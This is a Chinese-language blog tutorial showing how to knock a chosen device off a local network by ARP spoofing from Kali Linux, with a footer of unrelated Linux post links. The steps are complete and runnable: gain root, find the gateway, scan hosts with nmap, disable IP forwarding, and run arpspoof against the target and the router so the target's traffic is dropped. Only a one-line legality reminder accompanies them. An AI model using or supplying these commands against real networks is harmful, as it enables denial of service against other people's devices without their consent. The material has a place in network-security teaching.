ARP欺骗使局域网内设备断网

一、实验准备

  1. kali系统:可使用虚拟机软件模拟

    kali虚拟机镜像链接:https://www.kali.org/get-kali/#kali-virtual-machines

    注意虚拟机网络适配器采用桥接模式

  2. 局域网内存在指定断网的设备

二、实验步骤

  1. 打开kali系统命令行:ctrl+alt+t可快速打开终端

  2. 切换到root用户

    bash 复制代码
    sudo su
  3. 查看当前网段

    bash 复制代码
    ifconfig

    inet 192.168.10.145 netmask 255.255.255.0

    表明当前网段为192.168.10.0

  4. 查看当前路由器ip地址

    bash 复制代码
    ip route

    default via 192.168.10.1 dev eth0 proto dhcp src 192.168.10.145 metric 100

    192.168.10.0/24 dev eth0 proto kernel scope link src 192.168.10.145 metric 10

    表明路由器ip为192.168.10.1

  5. 扫描查看目标设备ip

    bash 复制代码
    nmap -sn 192.168.10.1/24  # 使用 Nmap 发现网络中的活动主机,等效于nmap -sn 192.168.10.1-255

    根据设备名称找到对应ip

  6. 设置kali系统不转发数据

    bash 复制代码
    echo 0 > /proc/sys/net/ipv4/ip_forward
  7. 执行arp欺骗

    bash 复制代码
    arpspoof -i eth0 -t 192.168.10.137 -r 192.168.10.1
    • -i: 指定使用的网卡
    • -t:指定欺骗的设备ip地址
    • -r:指定欺骗的路由器ip地址
  8. 目标设备无法获取新数据

三、原理

ARP欺骗

  1. 复制路由器mac地址,伪装为路由器并通知目标设备,以便后续目标设备将数据交给kali
  2. 复制目标设备mac地址,伪装为目标设备并通知路由器,以便后续路由器将数据交给kali
  3. 但kali设置不转发数据,因此路由器和目标设备发送至kali的所有数据均被抛弃,致使目标设备无法与路由器沟通无法获取数据

四、特别注意

请在合法场景下进行实验

相关推荐
tan77º22 分钟前
【Linux网络编程】Socket - UDP
linux·服务器·网络·c++·udp
czhc114007566334 分钟前
Linux 76 rsync
linux·运维·python
蓝易云2 小时前
Qt框架中connect()方法的ConnectionType参数使用说明 点击改变文章字体大小
linux·前端·后端
花落已飘2 小时前
多线程 vs 异步
linux·网络·系统架构
PanZonghui3 小时前
Centos项目部署之Nginx部署项目
linux·nginx
码出钞能力3 小时前
linux内核模块的查看
linux·运维·服务器
星辰云-4 小时前
# Linux Centos系统硬盘分区扩容
linux·运维·centos·磁盘扩容
聽雨2374 小时前
02每日简报20250704
linux·科技·金融·生活·社交电子·娱乐·媒体
Maki Winster5 小时前
Peek-Ubuntu上Gif录制工具-24.04LTS可装
linux·ubuntu·peek
Maki Winster6 小时前
在 Ubuntu 下配置 oh-my-posh —— 普通用户 + root 各自使用独立主题(共享可执行)
linux·运维·ubuntu